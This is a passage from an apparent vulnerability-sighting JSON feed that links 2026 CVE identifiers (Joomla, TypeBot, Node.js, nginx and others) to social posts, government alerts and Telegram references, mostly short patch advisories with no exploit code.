1\u00a0hour, 54\u00a0minutes ago\n \n Description : Starlette is a lightweight ASGI framework/toolkit. In versions 1.0....", "creation_timestamp": "2026-06-17T23:18:06.377112Z"}, {"uuid": "843b6ed7-1e89-4a55-8fa3-19db8c317090", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48768", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mojjj35nrc2t", "content": "CRITICAL alert: Path traversal in typebot.io \u22643.16.1 lets attackers upload files to public paths, risking stored XSS. Update to 3.17.0 now! https://radar.offseq.com/threat/cve-2026-48768-cwe-22-improper-limitation-of-a-pat-bab741214d20a19d #OffSeq #CVE202648768 #Security", "creation_timestamp": "2026-06-18T00:00:44.995882Z"}, {"uuid": "ee002f14-9a62-4965-a3e3-918b43fe2c89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48768", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojpsuhhbw2z", "content": "CVE-2026-48768 - TypeBot: Unauthenticated arbitrary s3 object write in generate-upload-url via unsanitized fileName\nCVE ID : CVE-2026-48768\n \n Published : June 17, 2026, 11:13 p.m. | 2\u00a0hours, 28\u00a0minutes ago\n \n Description : TypeBot is a chatbot builder tool. In versions 3.16.1...", "creation_timestamp": "2026-06-18T01:53:35.629006Z"}, {"uuid": "09cd4b87-7bb3-4d71-bc38-9dc53a7675c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48764", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mojq3sxmct2k", "content": "CVE-2026-48764 - TypeBot has SSRF in HTTP request and script fetch flows via DNS rebinding bypass\nCVE ID : CVE-2026-48764\n \n Published : June 17, 2026, 11:29 p.m. | 2\u00a0hours, 12\u00a0minutes ago\n \n Description : TypeBot is a chatbot builder tool. In versions prior to 3.17.2, SSRF va...", "creation_timestamp": "2026-06-18T01:58:35.796568Z"}, {"uuid": "7836cd83-b9a1-4c4c-95b6-25bd705cf68b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48142", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1927", "content": "", "creation_timestamp": "2026-06-17T21:00:00.000000Z"}, {"uuid": "24fb1d21-7e27-4ec7-ba8c-94263e1adfe2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48142", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1929", "content": "", "creation_timestamp": "2026-06-17T21:00:00.000000Z"}, {"uuid": "21bcaef0-ba0d-40fb-9c78-619647e6047a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48142", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mokvn4bbjd2j", "content": "\ud83d\udd17 CVE : CVE-2026-42055, CVE-2026-42530, CVE-2026-48142", "creation_timestamp": "2026-06-18T13:10:33.594164Z"}, {"uuid": "a622d88a-9c00-470c-b6f9-fc16e8fbbde5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mokzz3gfzf2b", "content": "5/ \u26a0\ufe0f Joomla CVE-2026-48907 CVSS 10.0 \u2014 CISA just added it to the Known Exploited Vulnerabilities list. Unauthenticated PHP code execution. If you run Joomla, patch it now. Today. Not this week. TODAY.", "creation_timestamp": "2026-06-18T14:28:42.655264Z"}, {"uuid": "75895b36-3960-4e4f-a93d-b8e1a46b2afb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mokzz3gmu52b", "content": "5/ \u26a0\ufe0f Joomla CVE-2026-48907 CVSS 10.0 \u2014 CISA just added it to the Known Exploited Vulnerabilities list. Unauthenticated PHP code execution. If you run Joomla, patch it now. Today. Not this week. TODAY.", "creation_timestamp": "2026-06-18T14:28:43.693974Z"}, {"uuid": "f5c896a2-f446-4dd7-b8dc-a4bbd1513df9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mokzz3gntf2b", "content": "5/ \u26a0\ufe0f Joomla CVE-2026-48907 CVSS 10.0 \u2014 CISA just added it to the Known Exploited Vulnerabilities list. Unauthenticated PHP code execution. If you run Joomla, patch it now. Today. Not this week. TODAY.", "creation_timestamp": "2026-06-18T14:28:44.846917Z"}, {"uuid": "d0ea7159-2b11-4312-82d6-cc2bb993c540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mokzz3gosn2b", "content": "5/ \u26a0\ufe0f Joomla CVE-2026-48907 CVSS 10.0 \u2014 CISA just added it to the Known Exploited Vulnerabilities list. Unauthenticated PHP code execution. If you run Joomla, patch it now. Today. Not this week. TODAY.", "creation_timestamp": "2026-06-18T14:28:45.909498Z"}, {"uuid": "48dbcdf9-5a54-477e-a825-fdd93db4bd4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mokzz3gprv2b", "content": "5/ \u26a0\ufe0f Joomla CVE-2026-48907 CVSS 10.0 \u2014 CISA just added it to the Known Exploited Vulnerabilities list. Unauthenticated PHP code execution. If you run Joomla, patch it now. Today. Not this week. TODAY.", "creation_timestamp": "2026-06-18T14:28:47.172205Z"}, {"uuid": "ea2b1c3d-40c0-4632-9eb3-fed45d1c05ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mokzz3gqr52b", "content": "5/ \u26a0\ufe0f Joomla CVE-2026-48907 CVSS 10.0 \u2014 CISA just added it to the Known Exploited Vulnerabilities list. Unauthenticated PHP code execution. If you run Joomla, patch it now. Today. Not this week. TODAY.", "creation_timestamp": "2026-06-18T14:28:48.237933Z"}, {"uuid": "7f3c6c20-4879-4dff-af8d-5a6f67d6a1d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mokzz3gqr62b", "content": "5/ \u26a0\ufe0f Joomla CVE-2026-48907 CVSS 10.0 \u2014 CISA just added it to the Known Exploited Vulnerabilities list. Unauthenticated PHP code execution. If you run Joomla, patch it now. Today. Not this week. TODAY.", "creation_timestamp": "2026-06-18T14:28:49.403795Z"}, {"uuid": "77f44c1c-cce5-4019-b7d8-ba29a5be04bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mokzz3gspo2b", "content": "5/ \u26a0\ufe0f Joomla CVE-2026-48907 CVSS 10.0 \u2014 CISA just added it to the Known Exploited Vulnerabilities list. Unauthenticated PHP code execution. If you run Joomla, patch it now. Today. Not this week. TODAY.", "creation_timestamp": "2026-06-18T14:28:50.484915Z"}, {"uuid": "22ba0403-e53a-42df-a1ba-97c7d5ddecd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mokzz3gtow2b", "content": "5/ \u26a0\ufe0f Joomla CVE-2026-48907 CVSS 10.0 \u2014 CISA just added it to the Known Exploited Vulnerabilities list. Unauthenticated PHP code execution. If you run Joomla, patch it now. Today. Not this week. TODAY.", "creation_timestamp": "2026-06-18T14:28:51.492949Z"}, {"uuid": "f96ec00e-7860-40df-96a3-20995ed8c555", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3molb7tr7k22e", "content": "KEV pressure sharpened too: Joomla/JCE CVE-2026-48907 remains patch-and-hunt now, with EPSS up to 93rd percentile. Check Point CVE-2026-50751 is worse: CISA lists known ransomware use and EPSS is ~98th percentile.", "creation_timestamp": "2026-06-18T16:37:46.708222Z"}, {"uuid": "9d79b05c-8279-42ef-8341-248bc685b1e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3molb7tqxq22e", "content": "KEV pressure sharpened too: Joomla/JCE CVE-2026-48907 remains patch-and-hunt now, with EPSS up to 93rd percentile. Check Point CVE-2026-50751 is worse: CISA lists known ransomware use and EPSS is ~98th percentile.", "creation_timestamp": "2026-06-18T16:37:45.254937Z"}, {"uuid": "b8c3e5f1-4c48-4426-9179-29c1499c621e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3molb7tr6ks2e", "content": "KEV pressure sharpened too: Joomla/JCE CVE-2026-48907 remains patch-and-hunt now, with EPSS up to 93rd percentile. Check Point CVE-2026-50751 is worse: CISA lists known ransomware use and EPSS is ~98th percentile.", "creation_timestamp": "2026-06-18T16:37:46.032053Z"}, {"uuid": "f1a6c097-2754-45fa-9ebc-e84e782dbb49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3molb7trbil2e", "content": "KEV pressure sharpened too: Joomla/JCE CVE-2026-48907 remains patch-and-hunt now, with EPSS up to 93rd percentile. Check Point CVE-2026-50751 is worse: CISA lists known ransomware use and EPSS is ~98th percentile.", "creation_timestamp": "2026-06-18T16:37:48.703466Z"}, {"uuid": "1da7445f-5308-4a63-a423-f680e87c7ed7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3molb7trajc2e", "content": "KEV pressure sharpened too: Joomla/JCE CVE-2026-48907 remains patch-and-hunt now, with EPSS up to 93rd percentile. Check Point CVE-2026-50751 is worse: CISA lists known ransomware use and EPSS is ~98th percentile.", "creation_timestamp": "2026-06-18T16:37:47.411164Z"}, {"uuid": "fc67b73f-f91f-4a0c-be6b-489e81f0085b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3molb7trajd2e", "content": "KEV pressure sharpened too: Joomla/JCE CVE-2026-48907 remains patch-and-hunt now, with EPSS up to 93rd percentile. Check Point CVE-2026-50751 is worse: CISA lists known ransomware use and EPSS is ~98th percentile.", "creation_timestamp": "2026-06-18T16:37:48.074860Z"}, {"uuid": "75902e0e-de22-4cca-83c4-9797e4d11e9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3molb7trbim2e", "content": "KEV pressure sharpened too: Joomla/JCE CVE-2026-48907 remains patch-and-hunt now, with EPSS up to 93rd percentile. Check Point CVE-2026-50751 is worse: CISA lists known ransomware use and EPSS is ~98th percentile.", "creation_timestamp": "2026-06-18T16:37:49.492840Z"}, {"uuid": "9e338048-2ea7-48aa-972e-68c18d1f4cdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-4827", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-169-07", "content": "", "creation_timestamp": "2026-06-18T05:00:00.000000Z"}, {"uuid": "ebec946e-b71d-4943-93dd-0bf6d0b3b501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48610", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-nei-prodotti-ubiquiti", "content": "", "creation_timestamp": "2026-06-18T06:25:42.000000Z"}, {"uuid": "223d8581-da70-4665-898d-bc5821fe575f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48617", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3molgqhznlu2s", "content": "CVE-2026-48617 - A flaw in Node.js Permission Model enforcement all\nCVE ID : CVE-2026-48617\n \n Published : June 18, 2026, 4:21 p.m. | 1\u00a0hour, 21\u00a0minutes ago\n \n Description : A flaw in Node.js Permission Model enforcement allows Bypass via `process.report.writeReport()` Path Mi...", "creation_timestamp": "2026-06-18T18:16:30.956717Z"}, {"uuid": "29087ed9-72a8-4217-a0ac-f359608d5125", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3molhiycnzt2s", "content": "\ud83d\udce2 ~14 000 serveurs SimpleHelp expos\u00e9s via un contournement d'authentification critique (CVE-2026-48558)\n\ud83d\udcdd \ud83d\udcf0 **Source** : Cybersecu\u2026\nhttps://cyberveille.ch/posts/2026-06-18-14-000-serveurs-simplehelp-exposes-via-un-contournement-d-authentification-critique-cve-2026-48558/ #CVE_2026_48558 #Cyberveille", "creation_timestamp": "2026-06-18T18:30:13.693970Z"}, {"uuid": "69184050-fc29-4624-85a4-8ab4d1d3a914", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48142", "type": "seen", "source": "https://bsky.app/profile/dju.eurosky.social/post/3molyw2ol3c2h", "content": "plusieurs CVE dans nginx\n\nCVE-2026-42530\nCVE-2026-42055\nCVE-2026-48142\n\nthehackernews.com/2026/06/f5-p...", "creation_timestamp": "2026-06-18T23:41:47.938649Z"}, {"uuid": "ac763424-1a5a-4ef6-87ee-7de539f441f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "Telegram/WWWHczf5cNnqk0Vv0lWj7tyigbd43npSKH3-Z1auyWOYzQ", "content": "", "creation_timestamp": "2026-06-17T07:07:14.000000Z"}, {"uuid": "736a1a26-4256-42ef-8a4f-efbc2956a890", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48017", "type": "published-proof-of-concept", "source": "Telegram/rpU8_0BAIqup9jbze7w25ozrvXdkaGKGrrCImb0BnEmBLEk", "content": "", "creation_timestamp": "2026-06-13T15:00:07.000000Z"}, {"uuid": "512d7528-5f4a-4d4b-ade0-a049cd075aee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48598", "type": "published-proof-of-concept", "source": "Telegram/zS0m-Smw9tMC2xQZhVRiFtrXmVStzlksgIyfU5bMHDdEXnY", "content": "", "creation_timestamp": "2026-06-09T15:00:06.000000Z"}, {"uuid": "2569e4a8-4755-4027-844a-1bed87a5ae76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48595", "type": "published-proof-of-concept", "source": "Telegram/TPZhP3a04vI9AManDnxQiLM92frB40hJI3gtpEixtxo5IZo", "content": "", "creation_timestamp": "2026-06-09T15:00:12.000000Z"}, {"uuid": "d6ccdbc4-5fa9-43a3-8648-94439dc78833", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/Twzxtbvyqic9grgE7JaZrbs3i9BOrZG8PBBvMyWgrTB7Ya8", "content": "", "creation_timestamp": "2026-06-09T19:00:13.000000Z"}, {"uuid": "99d46a61-ad60-4fb9-b7db-fe0bde47fa33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48962", "type": "published-proof-of-concept", "source": "Telegram/8Dfr88XDUFolqg40-dk3HH579THhbyGT3qUr6UhOzRzysB0", "content": "", "creation_timestamp": "2026-06-10T11:00:23.000000Z"}, {"uuid": "5e777df0-54f1-4352-b9f8-33223a98f6cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48732", "type": "published-proof-of-concept", "source": "Telegram/MqWdWANShUnJ68DjuVipLyqHCuJpXni1SRGxasMWhR16HRA", "content": "", "creation_timestamp": "2026-06-10T03:00:12.000000Z"}, {"uuid": "15d7ad7f-d022-4b09-a704-9a283c601423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/avQcqITCN0CdPqbu_zPd1c2U29MoQRx_NSjCudrYTZic4II", "content": "", "creation_timestamp": "2026-06-09T23:00:05.000000Z"}, {"uuid": "32ef3d2a-c5e1-4364-bfa1-9714b397e3bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/fCG7WKzSZ3J5MxWk4q33cwgoeWrsZeYEI50sN5k5RlUMOc4", "content": "", "creation_timestamp": "2026-06-11T23:00:06.000000Z"}, {"uuid": "5848d0c8-a58c-4765-8e1f-28c460ceb8cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48962", "type": "published-proof-of-concept", "source": "Telegram/UP0bHdwN2udFarZFpAo4dW_5awpjME5BMssCjsrIyWufG1U", "content": "", "creation_timestamp": "2026-06-10T15:00:07.000000Z"}, {"uuid": "753f7a0e-9a11-4704-894f-748a4ae5d695", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/YXCyRYfB5puG4zVuSsqFt0CqpucG34vnwOdsG1DKfw8sOUE", "content": "", "creation_timestamp": "2026-06-12T11:00:12.000000Z"}, {"uuid": "3f4d6c9d-4c6a-4df5-bd61-a0722e77892e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48017", "type": "published-proof-of-concept", "source": "Telegram/IcL1XemrMUM6U-pBPK8371ehYGh5Dbmz448pfDWO5N1krLU", "content": "", "creation_timestamp": "2026-06-13T11:00:13.000000Z"}, {"uuid": "3e7ca6fb-f623-4e30-9f5a-abe3bdb2204e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/dt0AF8_y_UrMLbm3nbIzl56WQ7K0nt860xLQHDp_bOOwKbw", "content": "", "creation_timestamp": "2026-06-13T15:00:16.000000Z"}, {"uuid": "8e1560aa-f28d-4e67-b4a3-3f5e946bf18d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48019", "type": "published-proof-of-concept", "source": "Telegram/z4CK41gKHpfLp7kaaAJJNGb1sNYljSZXLMSwKCJ0b-jo3nA", "content": "", "creation_timestamp": "2026-06-14T09:00:04.000000Z"}, {"uuid": "15130c9e-0108-46d4-8a10-7d12bfb2c4ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/ycLXaxSGB-_ldONYQWC7S6J3lanIcH0nsjxJAaBzeM5ug0Y", "content": "", "creation_timestamp": "2026-06-12T15:00:07.000000Z"}, {"uuid": "d2529373-f022-451c-aab8-d0416873f3fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/qE6f29_aVOJA4ORgQTQStDqLz7TqoxzfPbinGVmKV8o4EU8", "content": "", "creation_timestamp": "2026-06-11T15:00:13.000000Z"}, {"uuid": "d0442a34-b2fb-4db6-b1d4-8facb829014b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48904", "type": "seen", "source": "https://bsky.app/profile/vulny-app.bsky.social/post/3msw644l63m22", "content": "A critical-severity fix just shipped for Joomla\\!. If your stack uses it, patch to the fixed release soon. Quietly closes the gap before anyone goes looking. CVE-2026-48904", "creation_timestamp": "2026-08-12T22:22:01.720201Z"}, {"uuid": "ba8f4722-ffd2-4e27-a7f0-e2b731806142", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48085", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msp4b5y5tb2t", "content": "\ud83d\udd34 CVE-2026-48085 - Critical (9.8)\n\nOpenReception's appointment booking software provides an end-to-end encrypted appointment booking...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48085/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-10T03:00:26.059082Z"}, {"uuid": "9b4c1ddd-28e2-4aa5-baef-cd94354bd3ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48933", "type": "seen", "source": "https://bsky.app/profile/canartuc.com/post/3mon66r4i6w2y", "content": "Node.js fixed 13 CVEs across 22.23.0, 24.17.0 and 26.3.1. The two HIGH-rated ones stand out: a WebCrypto AES integer overflow (CVE-2026-48933) that aborts the process, and a TLS authentication bypass (CVE-2026-48618). Is your CI pinned to a patched minor yet?\n\n#nodejs", "creation_timestamp": "2026-06-19T10:48:46.622778Z"}, {"uuid": "cd51a0f2-8dae-4473-bfa5-836fb23128fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48618", "type": "seen", "source": "https://bsky.app/profile/canartuc.com/post/3mon66r4i6w2y", "content": "Node.js fixed 13 CVEs across 22.23.0, 24.17.0 and 26.3.1. The two HIGH-rated ones stand out: a WebCrypto AES integer overflow (CVE-2026-48933) that aborts the process, and a TLS authentication bypass (CVE-2026-48618). Is your CI pinned to a patched minor yet?\n\n#nodejs", "creation_timestamp": "2026-06-19T10:48:46.767789Z"}, {"uuid": "c9bc0e79-fa39-4abe-a9d7-a75cd9756d16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48866", "type": "published-proof-of-concept", "source": "Telegram/I55EnFdJmYEBchmRtkjPCUSn7qv5UvMe7YwNG8H83xOzV0w", "content": "", "creation_timestamp": "2026-06-05T15:00:18.000000Z"}, {"uuid": "0950dc9e-df9b-46ed-8aef-7706011054ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48866", "type": "published-proof-of-concept", "source": "Telegram/veUygq_k51otQhyITWW8ryzBWsxgondLW8sqPOwtV5E1klM", "content": "", "creation_timestamp": "2026-06-05T21:00:04.000000Z"}, {"uuid": "f02be47b-1e7f-429a-bfc1-78bf38903ed4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48595", "type": "published-proof-of-concept", "source": "Telegram/MkZ_OGQrZR4dMhKDK0OVbcEjJF0IE8jmF8NR0mdJeKW4f6Q", "content": "", "creation_timestamp": "2026-06-06T11:00:14.000000Z"}, {"uuid": "da9746ed-647d-49e6-bebb-b51841f1d22e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48086", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msp4bfquvs2h", "content": "\ud83d\udd34 CVE-2026-48086 - Critical (9.9)\n\nOpenReception's appointment booking software provides an end-to-end encrypted appointment booking...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48086/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-10T03:00:33.948886Z"}, {"uuid": "d5c02c67-1019-4a69-8c28-4ec592530ab8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48979", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3moncap53le2e", "content": "CVE-2026-48979 - HTTP/2 request smuggling in PHP standard library (PSL). Unvalidated DATA frame bytes allow content overflow. CVSS 7.5. No patch yet; disable PSL H2 servers or upgrade if fix released. #CVE #PHP #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-48979/", "creation_timestamp": "2026-06-19T12:01:26.020687Z"}, {"uuid": "89fd45b6-5d55-400c-b984-fc063be6e674", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/54492054-44e9-4990-9354-de0b7df1fce0", "content": "", "creation_timestamp": "2026-06-19T12:45:05.539982Z"}, {"uuid": "65afdb9c-6d9a-4db9-a364-d6fa796834ae", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f0a39c0d-1fac-4059-b545-5c0ae1bfc04f", "content": "", "creation_timestamp": "2026-06-19T12:45:11.721642Z"}, {"uuid": "203c75fe-855c-4505-95ff-cd095126aea2", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/18866cf6-0dd6-480a-9cf2-94064b6ffb47", "content": 